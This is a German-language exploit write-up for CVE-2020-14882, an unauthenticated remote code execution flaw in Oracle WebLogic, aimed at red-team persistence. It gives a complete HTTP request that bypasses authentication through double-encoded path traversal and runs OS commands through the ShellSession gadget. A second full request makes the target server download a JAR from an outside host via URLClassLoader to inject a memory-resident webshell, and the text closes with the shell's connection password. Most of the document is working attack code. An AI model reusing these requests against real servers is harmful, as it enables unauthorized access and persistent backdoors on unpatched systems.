
Exploit für CVE-2020-14882 (nicht authentifizierte RCE in WebLogic) mit Deployment einer Memory-Shell über URLClassLoader und ShellSession-Gadget, das Remote-Befehlsausführung und dauerhaften Zugriff ermöglicht.
Bekanntlich ist CVE-2020-14882 eine Schwachstelle ohne Authentifizierung, mit der ein Angreifer beliebigen Code auf betroffenen WebLogic-Servern ausführen kann. In den öffentlich verfügbaren PoCs wird über illegale Zeichen der Zugriff umgangen und dann über ein Gadget die Befehlsausführung aufgerufen. In realen Szenarien und bei Red-Team-Angriffen reicht die bloße Befehlsausführung jedoch bei weitem nicht aus. Daher ist es besonders wichtig, diese Schwachstelle ohne Authentifizierung für die weitere Bereitstellung einer Memory-Shell zu nutzen.
Analysen der Schwachstelle gibt es im Internet zuhauf – es handelt sich im Wesentlichen um ein Problem der doppelten Kodierung. Der öffentlich verfügbare PoC zur Codeausführung sieht wie folgt aus:
POST /console/images/%252e%252e/console.portal HTTP/1.1
Host: 192.168.137.129:7001
cmd: whoami
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.137.129:7001/console/login/LoginForm.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ADMINCONSOLESESSION=bVc4ldVQMjOVUU4Ch2gfrbdjJzOseetqLr98eCB-_a-1KoUGzBLm!2048667864; ADMINCONSOLESESSION=6KHjgTjHTJphTvmMmpSd6L1c1gmnwwD1nnjT2J5p6JrrhvxHjChb!355090686
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1182
_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHandler")%3bfield.setAccessible(true)%3bObject+obj+%3d+field.get(adapter)%3bweblogic.servlet.internal.ServletRequestImpl+req+%3d+(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj)%3b+String+cmd+%3d+req.getHeader("cmd")%3bString[]+cmds+%3d+System.getProperty("os.name").toLowerCase().contains("window")+%3f+new+String[]{"cmd.exe",+"/c",+cmd}+%3a+new+String[]{"/bin/sh",+"-c",+cmd}%3bif(cmd+!%3d+null+){+String+result+%3d+new+java.util.Scanner(new+java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next()%3b+weblogic.servlet.internal.ServletResponseImpl+res+%3d+(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req)%3b+res.getServletOutputStream().writeStream(new+weblogic.xml.util.StringInputStream(result))%3bres.getServletOutputStream().flush()%3bres.getWriter().write("")%3b}')
Derzeit ist ein Echo nur in WebLogic 12.2.1 und höher möglich, da in 10.3.6 die entsprechende Klasse nicht vorhanden ist.
Man erkennt, dass diese Version das Gadget com.tangosol.coherence.mvel2.sh.ShellSession zur Ausführung beliebigen Codes nutzt.
Daher kann man java.net.URLClassLoader verwenden, um eine bösartige Klasse zu laden und so eine Memory-Shell zu injizieren.
URLClassLoader ist eine Implementierung von ClassLoader, die sowohl lokale Binärdateien als auch entfernte Klassen laden kann.

JAR-Datei erstellen

Anschließend wird über das Gadget com.tangosol.coherence.mvel2.sh.ShellSession der URLClassLoader aufgerufen, um die Klasse remote zu laden.
Der Code lautet:
com.tangosol.coherence.mvel2.sh.ShellSession("java.net.URLClassLoader u = new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://192.168.86.5:6543/cc.jar")});u.loadClass("org.chabug.memshell.InjectFilterShell").newInstance(); u.close();");
Vollständiger Exploit:
GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.net.URLClassLoader u = new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://192.168.86.5:6543/cc.jar")});u.loadClass("org.chabug.memshell.InjectFilterShell").newInstance(); u.close();"); HTTP/1.1
Host: 192.168.100.120:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate1
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 0

Das Verbindungspasswort für Beichen (冰蝎) lautet: rebeyond

Hinweis: Die Standardversion von Beichen (冰蝎) unterstützt keine Memory-Shells.